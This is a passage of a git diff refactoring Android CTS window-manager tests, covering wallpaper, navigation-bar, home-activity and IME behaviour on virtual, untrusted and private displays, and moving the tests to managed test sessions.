+ imeTestActivitySession.runOnMainSyncAndWait(
+ imeTestActivitySession.getActivity()::showSoftInput);
+ notExpectEvent(stream, editorMatcher("onStartInput",
+ editText.getPrivateImeOptions()), NOT_EXPECT_TIMEOUT);
+
+ // Expect onStartInput / showSoftInput would be executed when user tapping on the
+ // untrusted display intentionally.
+ final Rect drawRect = new Rect();
+ editText.getDrawingRect(drawRect);
+ tapOnDisplaySync(drawRect.left, drawRect.top, newDisplay.mId);
+ imeTestActivitySession.runOnMainSyncAndWait(
+ imeTestActivitySession.getActivity()::showSoftInput);
+ waitOrderedImeEventsThenAssertImeShown(stream, DEFAULT_DISPLAY,
+ editorMatcher("onStartInput", editText.getPrivateImeOptions()),
+ event -> "showSoftInput".equals(event.getEventName()));
+
+ // Switch focus to top focused display as default display, verify onStartInput won't
+ // be called since the untrusted display should no longer get focus.
+ tapOnDisplayCenter(DEFAULT_DISPLAY);
+ mAmWmState.computeState(true);
+ assertEquals(DEFAULT_DISPLAY, mAmWmState.getWmState().getFocusedDisplayId());
+ imeTestActivitySession.getActivity().resetPrivateImeOptionsIdentifier();
+ imeTestActivitySession.runOnMainSyncAndWait(
+ imeTestActivitySession.getActivity()::showSoftInput);
+ notExpectEvent(stream, editorMatcher("onStartInput",
+ editText.getPrivateImeOptions()), NOT_EXPECT_TIMEOUT);
}
}
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplaySystemDecorationTests.java b/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplaySystemDecorationTests.java
index 07a8dba..58fb32a 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplaySystemDecorationTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplaySystemDecorationTests.java
@@ -17,6 +17,7 @@
package android.server.wm;
import static android.app.WindowConfiguration.ACTIVITY_TYPE_HOME;
+import static android.server.wm.ActivityManagerState.STATE_RESUMED;
import static android.server.wm.app.Components.HOME_ACTIVITY;
import static android.server.wm.app.Components.SECONDARY_HOME_ACTIVITY;
import static android.server.wm.app.Components.SINGLE_HOME_ACTIVITY;
@@ -24,11 +25,11 @@
import static android.server.wm.app.Components.TEST_LIVE_WALLPAPER_SERVICE;
import static android.server.wm.app.Components.TestLiveWallpaperKeys.COMPONENT;
import static android.server.wm.app.Components.TestLiveWallpaperKeys.ENGINE_DISPLAY_ID;
+import static android.server.wm.BarTestUtils.assumeHasBars;
+import static android.server.wm.MockImeHelper.createManagedMockImeSession;
import static android.view.Display.DEFAULT_DISPLAY;
import static android.view.WindowManager.LayoutParams.TYPE_WALLPAPER;
-import static androidx.test.InstrumentationRegistry.getInstrumentation;
-
import static com.android.cts.mockime.ImeEventStreamTestUtils.editorMatcher;
import static com.android.cts.mockime.ImeEventStreamTestUtils.expectCommand;
import static com.android.cts.mockime.ImeEventStreamTestUtils.expectEvent;
@@ -52,7 +53,7 @@
import android.os.Bundle;
import android.os.SystemClock;
import android.platform.test.annotations.Presubmit;
-import android.server.wm.ActivityManagerState.ActivityDisplay;
+import android.server.wm.ActivityManagerState.DisplayContent;
import android.server.wm.TestJournalProvider.TestJournalContainer;
import android.server.wm.WindowManagerState.Display;
import android.server.wm.WindowManagerState.WindowState;
@@ -64,15 +65,12 @@
import android.widget.EditText;
import android.widget.LinearLayout;
-import androidx.test.filters.FlakyTest;
-
import com.android.compatibility.common.util.ImeAwareEditText;
import com.android.compatibility.common.util.SystemUtil;
import com.android.compatibility.common.util.TestUtils;
import com.android.cts.mockime.ImeCommand;
import com.android.cts.mockime.ImeEvent;
import com.android.cts.mockime.ImeEventStream;
-import com.android.cts.mockime.ImeSettings;
import com.android.cts.mockime.MockImeSession;
import org.junit.Before;
@@ -80,11 +78,10 @@
import java.util.List;
import java.util.concurrent.TimeUnit;
-import java.util.function.Predicate;
/**
* Build/Install/Run:
- * atest CtsWindowManagerDeviceTestCases:SystemDecorationMultiDisplayTests
+ * atest CtsWindowManagerDeviceTestCases:MultiDisplaySystemDecorationTests
*
* This tests that verify the following should not be run for OEM device verification:
* Wallpaper added if display supports system decorations (and not added otherwise)
@@ -93,6 +90,7 @@
* IME is shown if display supports system decorations (and not shown otherwise)
*/
@Presubmit
+@android.server.wm.annotation.Group3
public class MultiDisplaySystemDecorationTests extends MultiDisplayTestBase {
@Before
@@ -110,51 +108,48 @@
*/
@Test
public void testWallpaperGetDisplayContext() throws Exception {
- try (final ChangeWallpaperSession wallpaperSession = new ChangeWallpaperSession();
- final VirtualDisplaySession virtualDisplaySession = new VirtualDisplaySession()) {
+ final ChangeWallpaperSession wallpaperSession = createManagedChangeWallpaperSession();
+ final VirtualDisplaySession virtualDisplaySession = createManagedVirtualDisplaySession();
- TestJournalContainer.start();
+ TestJournalContainer.start();
- final ActivityDisplay newDisplay = virtualDisplaySession
- .setSimulateDisplay(true).setShowSystemDecorations(true).createDisplay();
+ final DisplayContent newDisplay = virtualDisplaySession
+ .setSimulateDisplay(true).setShowSystemDecorations(true).createDisplay();
- wallpaperSession.setWallpaperComponent(TEST_LIVE_WALLPAPER_SERVICE);
- final String TARGET_ENGINE_DISPLAY_ID = ENGINE_DISPLAY_ID + newDisplay.mId;
- final TestJournalProvider.TestJournal journal = TestJournalContainer.get(COMPONENT);
- TestUtils.waitUntil("Waiting for wallpaper engine bounded", 5 /* timeoutSecond */,
- () -> journal.extras.getBoolean(TARGET_ENGINE_DISPLAY_ID));
- }
+ wallpaperSession.setWallpaperComponent(TEST_LIVE_WALLPAPER_SERVICE);
+ final String TARGET_ENGINE_DISPLAY_ID = ENGINE_DISPLAY_ID + newDisplay.mId;
+ final TestJournalProvider.TestJournal journal = TestJournalContainer.get(COMPONENT);
+ TestUtils.waitUntil("Waiting for wallpaper engine bounded", 5 /* timeoutSecond */,
+ () -> journal.extras.getBoolean(TARGET_ENGINE_DISPLAY_ID));
}
/**
* Tests that wallpaper shows on secondary displays.
*/
@Test
- @FlakyTest(bugId = 131005232)
- public void testWallpaperShowOnSecondaryDisplays() throws Exception {
- try (final ChangeWallpaperSession wallpaperSession = new ChangeWallpaperSession();
- final ExternalDisplaySession externalDisplaySession = new ExternalDisplaySession();
- final VirtualDisplaySession virtualDisplaySession = new VirtualDisplaySession()) {
+ public void testWallpaperShowOnSecondaryDisplays() {
+ final ChangeWallpaperSession wallpaperSession = createManagedChangeWallpaperSession();
- final ActivityDisplay untrustedDisplay = externalDisplaySession
- .setPublicDisplay(true).setShowSystemDecorations(true).createVirtualDisplay();
+ final DisplayContent untrustedDisplay = createManagedExternalDisplaySession()
+ .setPublicDisplay(true).setShowSystemDecorations(true).createVirtualDisplay();
- final ActivityDisplay decoredSystemDisplay = virtualDisplaySession
- .setSimulateDisplay(true).setShowSystemDecorations(true).createDisplay();
+ final DisplayContent decoredSystemDisplay = createManagedVirtualDisplaySession()
+ .setSimulateDisplay(true).setShowSystemDecorations(true).createDisplay();
- final Bitmap tmpWallpaper = wallpaperSession.getTestBitmap();
- wallpaperSession.setImageWallpaper(tmpWallpaper);
+ final Bitmap tmpWallpaper = wallpaperSession.getTestBitmap();
+ wallpaperSession.setImageWallpaper(tmpWallpaper);
- mAmWmState.waitForWithWmState(
- (state) -> isWallpaperOnDisplay(state, decoredSystemDisplay.mId),
- "Waiting for wallpaper window to show");
+ assertTrue("Wallpaper must be displayed on system owned display with system decor flag",
+ mAmWmState.waitForWithWmState(
+ state -> isWallpaperOnDisplay(state, decoredSystemDisplay.mId),
+ "wallpaper window to show"));
- assertTrue("Wallpaper must be displayed on system owned display with system decor flag",
- isWallpaperOnDisplay(mAmWmState.getWmState(), decoredSystemDisplay.mId));
+ assertFalse("Wallpaper must not be displayed on the untrusted display",
+ isWallpaperOnDisplay(mAmWmState.getWmState(), untrustedDisplay.mId));
+ }
- assertFalse("Wallpaper must not be displayed on the untrusted display",
- isWallpaperOnDisplay(mAmWmState.getWmState(), untrustedDisplay.mId));
- }
+ private ChangeWallpaperSession createManagedChangeWallpaperSession() {
+ return mObjectTracker.manage(new ChangeWallpaperSession());
}
private class ChangeWallpaperSession implements AutoCloseable {
@@ -174,18 +169,18 @@
return mTestBitmap;
}
- public void setImageWallpaper(Bitmap bitmap) throws Exception {
+ public void setImageWallpaper(Bitmap bitmap) {
SystemUtil.runWithShellPermissionIdentity(() ->
mWallpaperManager.setBitmap(bitmap));
}
- public void setWallpaperComponent(ComponentName componentName) throws Exception {
+ public void setWallpaperComponent(ComponentName componentName) {
SystemUtil.runWithShellPermissionIdentity(() ->
mWallpaperManager.setWallpaperComponent(componentName));
}
@Override
- public void close() throws Exception {
+ public void close() {
SystemUtil.runWithShellPermissionIdentity(mWallpaperManager::clearWallpaper);
if (mTestBitmap != null) {
mTestBitmap.recycle();
@@ -204,31 +199,28 @@
* Test that navigation bar should show on display with system decoration.
*/
@Test
- public void testNavBarShowingOnDisplayWithDecor() throws Exception {
- try (final ExternalDisplaySession externalDisplaySession = new ExternalDisplaySession()) {
- final ActivityDisplay newDisplay = externalDisplaySession
- .setPublicDisplay(true).setShowSystemDecorations(true).createVirtualDisplay();
+ public void testNavBarShowingOnDisplayWithDecor() {
+ assumeHasBars();
+ final DisplayContent newDisplay = createManagedExternalDisplaySession()
+ .setPublicDisplay(true).setShowSystemDecorations(true).createVirtualDisplay();
- mAmWmState.waitAndAssertNavBarShownOnDisplay(newDisplay.mId);
- }
+ mAmWmState.waitAndAssertNavBarShownOnDisplay(newDisplay.mId);
}
/**
* Test that navigation bar should not show on display without system decoration.
*/
@Test
- @FlakyTest(bugId = 131005232)
- public void testNavBarNotShowingOnDisplayWithoutDecor() throws Exception {
- try (final ExternalDisplaySession externalDisplaySession = new ExternalDisplaySession()) {
- // Wait navigation bar show on default display and record the states.
- mAmWmState.waitAndAssertNavBarShownOnDisplay(DEFAULT_DISPLAY);
- final List<WindowState> expected = mAmWmState.getWmState().getAllNavigationBarStates();
+ public void testNavBarNotShowingOnDisplayWithoutDecor() {
+ assumeHasBars();
+ // Wait for system decoration showing and record current nav states.
+ mAmWmState.waitForHomeActivityVisible();
+ final List<WindowState> expected = mAmWmState.getWmState().getAllNavigationBarStates();
- externalDisplaySession.setPublicDisplay(true)
- .setShowSystemDecorations(false).createVirtualDisplay();
+ createManagedExternalDisplaySession().setPublicDisplay(true)
+ .setShowSystemDecorations(false).createVirtualDisplay();
- waitAndAssertNavBarStatesAreTheSame(expected);
- }
+ waitAndAssertNavBarStatesAreTheSame(expected);
}
/**
@@ -236,21 +228,19 @@
* supports system decoration.
*/
@Test
- @FlakyTest(bugId = 131005232)
- public void testNavBarNotShowingOnPrivateDisplay() throws Exception {
- try (final ExternalDisplaySession externalDisplaySession = new ExternalDisplaySession()) {
- // Wait navigation bar show on default display and record the states.
- mAmWmState.waitAndAssertNavBarShownOnDisplay(DEFAULT_DISPLAY);
- final List<WindowState> expected = mAmWmState.getWmState().getAllNavigationBarStates();
+ public void testNavBarNotShowingOnPrivateDisplay() {
+ assumeHasBars();
+ // Wait for system decoration showing and record current nav states.
+ mAmWmState.waitForHomeActivityVisible();
+ final List<WindowState> expected = mAmWmState.getWmState().getAllNavigationBarStates();
- externalDisplaySession.setPublicDisplay(false)
- .setShowSystemDecorations(true).createVirtualDisplay();
+ createManagedExternalDisplaySession().setPublicDisplay(false)
+ .setShowSystemDecorations(true).createVirtualDisplay();
- waitAndAssertNavBarStatesAreTheSame(expected);
- }
+ waitAndAssertNavBarStatesAreTheSame(expected);
}
- private void waitAndAssertNavBarStatesAreTheSame(List<WindowState> expected) throws Exception {
+ private void waitAndAssertNavBarStatesAreTheSame(List<WindowState> expected) {
// This is used to verify that we have nav bars shown on the same displays
// as before the test.
//
@@ -260,7 +250,7 @@
// bars were added to a display that was added before executing this method that shouldn't
// have nav bars (i.e. private or without system ui decor).
try (final ExternalDisplaySession secondDisplaySession = new ExternalDisplaySession()) {
- final ActivityDisplay supportsSysDecorDisplay = secondDisplaySession
+ final DisplayContent supportsSysDecorDisplay = secondDisplaySession
.setPublicDisplay(true).setShowSystemDecorations(true).createVirtualDisplay();
mAmWmState.waitAndAssertNavBarShownOnDisplay(supportsSysDecorDisplay.mId);
// This display has finished his task. Just close it.
@@ -283,18 +273,16 @@
* Tests launching a home activity on virtual display without system decoration support.
*/
@Test
- public void testLaunchHomeActivityOnSecondaryDisplayWithoutDecorations() throws Exception {
- try (final HomeActivitySession homeSession =
- new HomeActivitySession(SECONDARY_HOME_ACTIVITY);
- final ExternalDisplaySession externalDisplaySession = new ExternalDisplaySession()) {
- // Create new virtual display without system decoration support.
- final ActivityDisplay newDisplay = externalDisplaySession.createVirtualDisplay();
+ public void testLaunchHomeActivityOnSecondaryDisplayWithoutDecorations() {
+ createManagedHomeActivitySession(SECONDARY_HOME_ACTIVITY);
- // Secondary home activity can't be launched on the display without system decoration
- // support.
- assertEquals("No stacks on newly launched virtual display", 0,
- newDisplay.mStacks.size());
- }
+ // Create new virtual display without system decoration support.
+ final DisplayContent newDisplay = createManagedExternalDisplaySession()
+ .createVirtualDisplay();
+
+ // Secondary home activity can't be launched on the display without system decoration
+ // support.
+ assertEquals("No stacks on newly launched virtual display", 0, newDisplay.mStacks.size());
}
/**
@@ -302,20 +290,22 @@
* support.
*/
@Test
- public void testLaunchSingleHomeActivityOnDisplayWithDecorations() throws Exception {
- try (final HomeActivitySession homeSession = new HomeActivitySession(SINGLE_HOME_ACTIVITY);
- final ExternalDisplaySession externalDisplaySession = new ExternalDisplaySession()) {
- // Create new virtual display with system decoration support.
- final ActivityDisplay newDisplay
- = externalDisplaySession.setShowSystemDecorations(true).createVirtualDisplay();
+ public void testLaunchSingleHomeActivityOnDisplayWithDecorations() {
+ createManagedHomeActivitySession(SINGLE_HOME_ACTIVITY);
- // If default home doesn't support multi-instance, default secondary home activity
- // should be automatically launched on the new display.
- waitAndAssertTopResumedActivity(getDefaultSecondaryHomeComponent(), newDisplay.mId,
- "Activity launched on secondary display must be focused and on top");
- assertEquals("Top activity must be home type", ACTIVITY_TYPE_HOME,
- mAmWmState.getAmState().getFrontStackActivityType(newDisplay.mId));
- }
+ // Create new virtual display with system decoration support.
+ final DisplayContent newDisplay = createManagedExternalDisplaySession()
+ .setShowSystemDecorations(true)
+ .createVirtualDisplay();
+
+ // If default home doesn't support multi-instance, default secondary home activity
+ // should be automatically launched on the new display.
+ waitAndAssertActivityStateOnDisplay(getDefaultSecondaryHomeComponent(), STATE_RESUMED,
+ newDisplay.mId, "Activity launched on secondary display must be resumed");
+
+ tapOnDisplayCenter(newDisplay.mId);
+ assertEquals("Top activity must be home type", ACTIVITY_TYPE_HOME,
+ mAmWmState.getAmState().getFrontStackActivityType(newDisplay.mId));
}
/**
@@ -323,21 +313,22 @@
* system decoration support.
*/
@Test
- public void testLaunchSingleSecondaryHomeActivityOnDisplayWithDecorations() throws Exception {
- try (final HomeActivitySession homeSession =
- new HomeActivitySession(SINGLE_SECONDARY_HOME_ACTIVITY);
- final ExternalDisplaySession externalDisplaySession = new ExternalDisplaySession()) {
- // Create new virtual display with system decoration support.
- final ActivityDisplay newDisplay
- = externalDisplaySession.setShowSystemDecorations(true).createVirtualDisplay();
+ public void testLaunchSingleSecondaryHomeActivityOnDisplayWithDecorations() {
+ createManagedHomeActivitySession(SINGLE_SECONDARY_HOME_ACTIVITY);
- // If provided secondary home doesn't support multi-instance, default secondary home
- // activity should be automatically launched on the new display.
- waitAndAssertTopResumedActivity(getDefaultSecondaryHomeComponent(), newDisplay.mId,
- "Activity launched on secondary display must be focused and on top");
- assertEquals("Top activity must be home type", ACTIVITY_TYPE_HOME,
- mAmWmState.getAmState().getFrontStackActivityType(newDisplay.mId));
- }
+ // Create new virtual display with system decoration support.
+ final DisplayContent newDisplay = createManagedExternalDisplaySession()
+ .setShowSystemDecorations(true)
+ .createVirtualDisplay();
+
+ // If provided secondary home doesn't support multi-instance, default secondary home
+ // activity should be automatically launched on the new display.
+ waitAndAssertActivityStateOnDisplay(getDefaultSecondaryHomeComponent(), STATE_RESUMED,
+ newDisplay.mId, "Activity launched on secondary display must be resumed");
+
+ tapOnDisplayCenter(newDisplay.mId);
+ assertEquals("Top activity must be home type", ACTIVITY_TYPE_HOME,
+ mAmWmState.getAmState().getFrontStackActivityType(newDisplay.mId));
}
/**
@@ -345,20 +336,23 @@
* support.
*/
@Test
- public void testLaunchHomeActivityOnDisplayWithDecorations() throws Exception {
- try (final HomeActivitySession homeSession = new HomeActivitySession(HOME_ACTIVITY);
- final ExternalDisplaySession externalDisplaySession = new ExternalDisplaySession()) {
- // Create new virtual display with system decoration support.
- final ActivityDisplay newDisplay
- = externalDisplaySession.setShowSystemDecorations(true).createVirtualDisplay();
+ public void testLaunchHomeActivityOnDisplayWithDecorations() {
+ createManagedHomeActivitySession(HOME_ACTIVITY);
+ final VirtualDisplaySession virtualDisplaySession = createManagedVirtualDisplaySession();
- // If default home doesn't have SECONDARY_HOME category, default secondary home
- // activity should be automatically launched on the new display.
- waitAndAssertTopResumedActivity(getDefaultSecondaryHomeComponent(), newDisplay.mId,
- "Activity launched on secondary display must be focused and on top");
- assertEquals("Top activity must be home type", ACTIVITY_TYPE_HOME,
- mAmWmState.getAmState().getFrontStackActivityType(newDisplay.mId));
- }
+ // Create new virtual display with system decoration support.
+ final DisplayContent newDisplay = createManagedExternalDisplaySession()
+ .setShowSystemDecorations(true)
+ .createVirtualDisplay();
+
+ // If default home doesn't have SECONDARY_HOME category, default secondary home
+ // activity should be automatically launched on the new display.
+ waitAndAssertActivityStateOnDisplay(getDefaultSecondaryHomeComponent(), STATE_RESUMED,
+ newDisplay.mId, "Activity launched on secondary display must be resumed");
+
+ tapOnDisplayCenter(newDisplay.mId);
+ assertEquals("Top activity must be home type", ACTIVITY_TYPE_HOME,
+ mAmWmState.getAmState().getFrontStackActivityType(newDisplay.mId));
}
/**
@@ -366,171 +360,160 @@
* system decoration support.
*/
@Test
- public void testLaunchSecondaryHomeActivityOnDisplayWithDecorations() throws Exception {
- try (final HomeActivitySession homeSession =
- new HomeActivitySession(SECONDARY_HOME_ACTIVITY);
- final ExternalDisplaySession externalDisplaySession = new ExternalDisplaySession()) {
- // Create new virtual display with system decoration support.
- final ActivityDisplay newDisplay
- = externalDisplaySession.setShowSystemDecorations(true).createVirtualDisplay();
+ public void testLaunchSecondaryHomeActivityOnDisplayWithDecorations() {
+ createManagedHomeActivitySession(SECONDARY_HOME_ACTIVITY);
+ final VirtualDisplaySession virtualDisplaySession = createManagedVirtualDisplaySession();
- // Provided secondary home activity should be automatically launched on the new
- // display.
- waitAndAssertTopResumedActivity(SECONDARY_HOME_ACTIVITY, newDisplay.mId,
- "Activity launched on secondary display must be focused and on top");
- assertEquals("Top activity must be home type", ACTIVITY_TYPE_HOME,
- mAmWmState.getAmState().getFrontStackActivityType(newDisplay.mId));
- }
+ // Create new virtual display with system decoration support.
+ final DisplayContent newDisplay = createManagedExternalDisplaySession()
+ .setShowSystemDecorations(true)
+ .createVirtualDisplay();
+
+ // Provided secondary home activity should be automatically launched on the new display.
+ waitAndAssertActivityStateOnDisplay(SECONDARY_HOME_ACTIVITY, STATE_RESUMED,
+ newDisplay.mId, "Activity launched on secondary display must be resumed");
+
+ tapOnDisplayCenter(newDisplay.mId);
+ assertEquals("Top activity must be home type", ACTIVITY_TYPE_HOME,
+ mAmWmState.getAmState().getFrontStackActivityType(newDisplay.mId));
}
// IME related tests
@Test
- @FlakyTest(bugId = 131005232)
public void testImeWindowCanSwitchToDifferentDisplays() throws Exception {
- try (final TestActivitySession<ImeTestActivity> imeTestActivitySession = new
- TestActivitySession<>();
- final TestActivitySession<ImeTestActivity2> imeTestActivitySession2 = new
- TestActivitySession<>();
- final VirtualDisplaySession virtualDisplaySession = new VirtualDisplaySession();
+ final MockImeSession mockImeSession = createManagedMockImeSession(this);
+ final TestActivitySession<ImeTestActivity> imeTestActivitySession =
+ createManagedTestActivitySession();
+ final TestActivitySession<ImeTestActivity2> imeTestActivitySession2 =
+ createManagedTestActivitySession();
- // Leverage MockImeSession to ensure at least an IME exists as default.
- final MockImeSession mockImeSession = MockImeSession.create(
- mContext, getInstrumentation().getUiAutomation(), new ImeSettings.Builder())) {
+ // Create a virtual display and launch an activity on it.
+ final DisplayContent newDisplay = createManagedVirtualDisplaySession()
+ .setShowSystemDecorations(true)
+ .setSimulateDisplay(true)
+ .createDisplay();
+ imeTestActivitySession.launchTestActivityOnDisplaySync(ImeTestActivity.class,
+ newDisplay.mId);
- // Create a virtual display and launch an activity on it.
- final ActivityDisplay newDisplay = virtualDisplaySession.setShowSystemDecorations(true)
- .setSimulateDisplay(true).createDisplay();
- imeTestActivitySession.launchTestActivityOnDisplaySync(ImeTestActivity.class,
- newDisplay.mId);
+ // Make the activity to show soft input.
+ final ImeEventStream stream = mockImeSession.openEventStream();
+ imeTestActivitySession.runOnMainSyncAndWait(
+ imeTestActivitySession.getActivity()::showSoftInput);
+ waitOrderedImeEventsThenAssertImeShown(stream, newDisplay.mId,
+ editorMatcher("onStartInput",
+ imeTestActivitySession.getActivity().mEditText.getPrivateImeOptions()),
+ event -> "showSoftInput".equals(event.getEventName()));
- // Make the activity to show soft input.
- final ImeEventStream stream = mockImeSession.openEventStream();
- imeTestActivitySession.runOnMainSyncAndWait(
- imeTestActivitySession.getActivity()::showSoftInput);
- waitOrderedImeEventsThenAssertImeShown(stream, newDisplay.mId,
- editorMatcher("onStartInput",
- imeTestActivitySession.getActivity().mEditText.getPrivateImeOptions()),
- event -> "showSoftInput".equals(event.getEventName()));
+ // Assert the configuration of the IME window is the same as the configuration of the
+ // virtual display.
+ assertImeWindowAndDisplayConfiguration(mAmWmState.getImeWindowState(), newDisplay);
- // Assert the configuration of the IME window is the same as the configuration of the
- // virtual display.
- assertImeWindowAndDisplayConfiguration(mAmWmState.getImeWindowState(), newDisplay);
+ // Launch another activity on the default display.
+ imeTestActivitySession2.launchTestActivityOnDisplaySync(
+ ImeTestActivity2.class, DEFAULT_DISPLAY);
- // Launch another activity on the default display.
- imeTestActivitySession2.launchTestActivityOnDisplaySync(
- ImeTestActivity2.class, DEFAULT_DISPLAY);
+ // Make the activity to show soft input.
+ imeTestActivitySession2.runOnMainSyncAndWait(
+ imeTestActivitySession2.getActivity()::showSoftInput);
+ waitOrderedImeEventsThenAssertImeShown(stream, DEFAULT_DISPLAY,
+ editorMatcher("onStartInput",
+ imeTestActivitySession2.getActivity().mEditText.getPrivateImeOptions()),
+ event -> "showSoftInput".equals(event.getEventName()));
- // Make the activity to show soft input.
- imeTestActivitySession2.runOnMainSyncAndWait(
- imeTestActivitySession2.getActivity()::showSoftInput);
- waitOrderedImeEventsThenAssertImeShown(stream, DEFAULT_DISPLAY,
- editorMatcher("onStartInput",
- imeTestActivitySession2.getActivity().mEditText.getPrivateImeOptions()),
- event -> "showSoftInput".equals(event.getEventName()));
-
- // Assert the configuration of the IME window is the same as the configuration of the
- // default display.
- assertImeWindowAndDisplayConfiguration(mAmWmState.getImeWindowState(),
- mAmWmState.getAmState().getDisplay(DEFAULT_DISPLAY));
- }
+ // Assert the configuration of the IME window is the same as the configuration of the
+ // default display.
+ assertImeWindowAndDisplayConfiguration(mAmWmState.getImeWindowState(),
+ mAmWmState.getAmState().getDisplay(DEFAULT_DISPLAY));
}
@Test
- @FlakyTest(bugId = 131005232)
public void testImeApiForBug118341760() throws Exception {
final long TIMEOUT_START_INPUT = TimeUnit.SECONDS.toMillis(5);
- try (final VirtualDisplaySession virtualDisplaySession = new VirtualDisplaySession();
- final TestActivitySession<ImeTestActivityWithBrokenContextWrapper>
- imeTestActivitySession = new TestActivitySession<>();
+ final MockImeSession mockImeSession = createManagedMockImeSession(this);
+ final TestActivitySession<ImeTestActivityWithBrokenContextWrapper> imeTestActivitySession =
+ createManagedTestActivitySession();
+ // Create a virtual display and launch an activity on it.
+ final DisplayContent newDisplay = createManagedVirtualDisplaySession()
+ .setShowSystemDecorations(true)
+ .setSimulateDisplay(true)
+ .createDisplay();
+ imeTestActivitySession.launchTestActivityOnDisplaySync(
+ ImeTestActivityWithBrokenContextWrapper.class, newDisplay.mId);
- // Leverage MockImeSession to ensure at least an IME exists as default.
- final MockImeSession mockImeSession = MockImeSession.create(
- mContext, getInstrumentation().getUiAutomation(), new ImeSettings.Builder())) {
+ final ImeTestActivityWithBrokenContextWrapper activity =
+ imeTestActivitySession.getActivity();
+ final ImeEventStream stream = mockImeSession.openEventStream();
+ final String privateImeOption = activity.getEditText().getPrivateImeOptions();
+ expectEvent(stream, event -> {
+ if (!TextUtils.equals("onStartInput", event.getEventName())) {
+ return false;
+ }
+ final EditorInfo editorInfo = event.getArguments().getParcelable("editorInfo");
+ return TextUtils.equals(editorInfo.packageName, mContext.getPackageName())
+ && TextUtils.equals(editorInfo.privateImeOptions, privateImeOption);
+ }, TIMEOUT_START_INPUT);
- // Create a virtual display and launch an activity on it.
- final ActivityDisplay newDisplay = virtualDisplaySession.setShowSystemDecorations(true)
- .setSimulateDisplay(true).createDisplay();
- imeTestActivitySession.launchTestActivityOnDisplaySync(
- ImeTestActivityWithBrokenContextWrapper.class, newDisplay.mId);
-
- final ImeTestActivityWithBrokenContextWrapper activity =
- imeTestActivitySession.getActivity();
- final ImeEventStream stream = mockImeSession.openEventStream();
- final String privateImeOption = activity.getEditText().getPrivateImeOptions();
- expectEvent(stream, event -> {
- if (!TextUtils.equals("onStartInput", event.getEventName())) {
- return false;
- }
- final EditorInfo editorInfo = event.getArguments().getParcelable("editorInfo");
- return TextUtils.equals(editorInfo.packageName, mContext.getPackageName())
- && TextUtils.equals(editorInfo.privateImeOptions, privateImeOption);
- }, TIMEOUT_START_INPUT);
-
- imeTestActivitySession.runOnMainSyncAndWait(() -> {
- final InputMethodManager imm = activity.getSystemService(InputMethodManager.class);
- assertTrue("InputMethodManager.isActive() should work",
- imm.isActive(activity.getEditText()));
- });
- }
+ imeTestActivitySession.runOnMainSyncAndWait(() -> {
+ final InputMethodManager imm = activity.getSystemService(InputMethodManager.class);
+ assertTrue("InputMethodManager.isActive() should work",
+ imm.isActive(activity.getEditText()));
+ });
}
@Test
- @FlakyTest(bugId = 131005232)
public void testImeWindowCanSwitchWhenTopFocusedDisplayChange() throws Exception {
// If config_perDisplayFocusEnabled, the focus will not move even if touching on
// the Activity in the different display.
assumeFalse(perDisplayFocusEnabled());
- try (final VirtualDisplaySession virtualDisplaySession = new VirtualDisplaySession();
- final TestActivitySession<ImeTestActivity> imeTestActivitySession = new
- TestActivitySession<>();
- final TestActivitySession<ImeTestActivity2> imeTestActivitySession2 = new
- TestActivitySession<>();
- // Leverage MockImeSession to ensure at least an IME exists as default.
- final MockImeSession mockImeSession1 = MockImeSession.create(
- mContext, getInstrumentation().getUiAutomation(), new ImeSettings.Builder())) {
+ final MockImeSession mockImeSession = createManagedMockImeSession(this);
+ final TestActivitySession<ImeTestActivity> imeTestActivitySession =
+ createManagedTestActivitySession();
+ final TestActivitySession<ImeTestActivity2> imeTestActivitySession2 =
+ createManagedTestActivitySession();
- // Create a virtual display and launch an activity on virtual & default display.
- final ActivityDisplay newDisplay = virtualDisplaySession.setShowSystemDecorations(true)
- .setSimulateDisplay(true).createDisplay();
- imeTestActivitySession.launchTestActivityOnDisplaySync(ImeTestActivity.class,
- DEFAULT_DISPLAY);
- imeTestActivitySession2.launchTestActivityOnDisplaySync(ImeTestActivity2.class,
- newDisplay.mId);
+ // Create a virtual display and launch an activity on virtual & default display.
+ final DisplayContent newDisplay = createManagedVirtualDisplaySession()
+ .setShowSystemDecorations(true)
+ .setSimulateDisplay(true)
+ .createDisplay();
+ imeTestActivitySession.launchTestActivityOnDisplaySync(ImeTestActivity.class,
+ DEFAULT_DISPLAY);
+ imeTestActivitySession2.launchTestActivityOnDisplaySync(ImeTestActivity2.class,
+ newDisplay.mId);
- final Display defDisplay = mAmWmState.getWmState().getDisplay(DEFAULT_DISPLAY);
- final ImeEventStream stream = mockImeSession1.openEventStream();
+ final Display defDisplay = mAmWmState.getWmState().getDisplay(DEFAULT_DISPLAY);
+ final ImeEventStream stream = mockImeSession.openEventStream();
- // Tap default display as top focused display & request focus on EditText to show
- // soft input.
- tapOnDisplayCenter(defDisplay.getDisplayId());
- imeTestActivitySession.runOnMainSyncAndWait(
- imeTestActivitySession.getActivity()::showSoftInput);
- waitOrderedImeEventsThenAssertImeShown(stream, defDisplay.getDisplayId(),
- editorMatcher("onStartInput",
- imeTestActivitySession.getActivity().mEditText.getPrivateImeOptions()),
- event -> "showSoftInput".equals(event.getEventName()));
+ // Tap default display as top focused display & request focus on EditText to show
+ // soft input.
+ tapOnDisplayCenter(defDisplay.getDisplayId());
+ imeTestActivitySession.runOnMainSyncAndWait(
+ imeTestActivitySession.getActivity()::showSoftInput);
+ waitOrderedImeEventsThenAssertImeShown(stream, defDisplay.getDisplayId(),
+ editorMatcher("onStartInput",
+ imeTestActivitySession.getActivity().mEditText.getPrivateImeOptions()),
+ event -> "showSoftInput".equals(event.getEventName()));
- // Tap virtual display as top focused display & request focus on EditText to show
- // soft input.
- tapOnDisplayCenter(newDisplay.mId);
- imeTestActivitySession2.runOnMainSyncAndWait(
- imeTestActivitySession2.getActivity()::showSoftInput);
- waitOrderedImeEventsThenAssertImeShown(stream, newDisplay.mId,
- editorMatcher("onStartInput",
- imeTestActivitySession2.getActivity().mEditText.getPrivateImeOptions()),
- event -> "showSoftInput".equals(event.getEventName()));
+ // Tap virtual display as top focused display & request focus on EditText to show
+ // soft input.
+ tapOnDisplayCenter(newDisplay.mId);
+ imeTestActivitySession2.runOnMainSyncAndWait(
+ imeTestActivitySession2.getActivity()::showSoftInput);
+ waitOrderedImeEventsThenAssertImeShown(stream, newDisplay.mId,
+ editorMatcher("onStartInput",
